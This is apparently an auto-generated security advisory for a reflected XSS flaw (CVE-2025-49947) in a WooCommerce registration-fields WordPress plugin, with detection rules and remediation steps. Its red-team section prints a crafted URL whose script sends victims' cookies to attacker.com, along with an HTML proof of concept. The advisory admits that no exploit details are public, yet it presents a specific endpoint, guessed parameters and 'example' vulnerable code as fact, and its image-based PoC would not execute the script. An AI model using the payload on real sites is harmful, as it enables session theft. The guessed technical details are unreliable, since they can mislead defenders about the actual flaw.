CVE-2025-49947

Executive Summary

CVE-2025-49947 is a reflected Cross-Site Scripting (XSS) vulnerability in the WooCommerce Registration Fields Plugin - Custom Signup Fields by Extendons, affecting versions up to and including 3.2.3. This WordPress plugin fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. The vulnerability requires user interaction (e.g., clicking a crafted link) and can lead to session hijacking, credential theft, or defacement within the WordPress ecosystem. No public exploit code or patch details are currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates from Extendons. No known supply chain compromise has been reported, but the lack of a patch increases risk for unmaintained installations.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The vulnerability is classified as High severity due to the low attack complexity and potential for cross-scope impact, though user interaction is required.

Deep Dive & Mechanics

The vulnerability resides in the extendons-registration-fields plugin, which adds custom fields to the WooCommerce registration form. The plugin fails to sanitize or escape user-supplied input before reflecting it in the HTTP response. This occurs in parameters such as field_name, field_value, or similar query string parameters used to pre-fill form fields or display error messages.

Root Cause: The plugin uses echo $_GET['param'] or similar constructs without applying WordPress functions like esc_html() or wp_kses_post(). An attacker can craft a URL such as:

https://target.com/wp-admin/admin-ajax.php?action=extendons_registration_field&field=<script>alert('XSS')</script>

When a victim clicks this link, the injected script executes in the context of the victim's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the user.

WordPress Ecosystem Context: This is a WordPress plugin vulnerability, not a server-level issue. The attack surface is limited to authenticated or unauthenticated users depending on the specific endpoint, but reflected XSS typically targets unauthenticated visitors.

Vulnerable vs. Patched Code

Vulnerable Code (example from version <= 3.2.3):

<?php
// In a function that outputs registration field data
$field_value = $_GET['field_value'];
echo '<input type="text" name="custom_field" value="' . $field_value . '">';
?>

Patched Code (hypothetical fix):

<?php
$field_value = isset($_GET['field_value']) ? sanitize_text_field($_GET['field_value']) : '';
echo '<input type="text" name="custom_field" value="' . esc_attr($field_value) . '">';
?>

The patch uses sanitize_text_field() to strip malicious input and esc_attr() to safely output the value within an HTML attribute context.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with WooCommerce and the vulnerable plugin (<= 3.2.3) installed.
• A victim user with an active session.

Exploitation Steps:

1. Identify a reflected parameter in the plugin (e.g., field, field_name, field_value).
2. Craft a malicious URL:

   https://target.com/wp-admin/admin-ajax.php?action=extendons_registration_field&field=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Deliver the link via phishing email, social media, or other means.
4. When the victim clicks, the script executes and exfiltrates cookies to the attacker's server.

Proof-of-Concept (PoC) Code:

<!-- Save as poc.html and host on attacker server -->
<html>
<body>
<script>
var img = new Image();
img.src = "https://target.com/wp-admin/admin-ajax.php?action=extendons_registration_field&field=<script>alert('XSS')</script>";
</script>
</body>
</html>

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for suspicious query strings containing <script>, onerror=, or javascript:.
2. Use a Web Application Firewall (WAF) to block reflected XSS patterns.
3. Implement Content Security Policy (CSP) headers to restrict script execution.

Honeypot Setup:

• Deploy a decoy WordPress instance with the vulnerable plugin.
• Log all requests to the vulnerable endpoint and alert on any non-standard parameters.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing action=extendons_registration_field with suspicious parameters.
  • Outbound connections to known malicious domains from the victim's browser.
• File IOCs:
  • Modified plugin files in /wp-content/plugins/extendons-registration-fields/.
  • Unexpected JavaScript files in the uploads directory.
• Log IOCs:
  • Web server logs showing GET /wp-admin/admin-ajax.php?action=extendons_registration_field&field=<script>.
  • Error logs with PHP warnings about undefined array keys.

Detection Engineering

YARA Rule

rule Detect_Reflected_XSS_Extendons_Plugin {
    meta:
        description = "Detects reflected XSS attempts against Extendons WooCommerce Registration Fields plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-49947"
    strings:
        $s1 = "extendons_registration_field" nocase
        $s2 = "<script" nocase
        $s3 = "onerror=" nocase
        $s4 = "javascript:" nocase
    condition:
        any of ($s1) and any of ($s2, $s3, $s4)
}

Sigma Rule

title: Reflected XSS via Extendons Registration Fields Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2025-49947
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'action=extendons_registration_field'
        cs-uri-query|contains|any:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of similar parameter names
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49947 Reflected XSS in Extendons Registration Fields"; flow:to_server,established; content:"GET"; http_method; content:"action=extendons_registration_field"; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if no patch is available.
2. Implement a Web Application Firewall (WAF) rule to block requests containing action=extendons_registration_field with suspicious patterns.
3. Add the following to .htaccess to block direct access to vulnerable endpoints:

   RewriteEngine On
   RewriteCond %{QUERY_STRING} action=extendons_registration_field [NC]
   RewriteRule ^ - [F,L]
   

Long-Term Fix:

• Contact Extendons for an official patch or migrate to an alternative registration plugin.
• Apply WordPress hardening: use esc_html(), esc_attr(), and wp_kses_post() for all output.
• Regularly update all plugins and themes.

Valters IT Signature:

Report generated by Valters IT DevSecOps Framework. For questions, contact security@valters-it.com.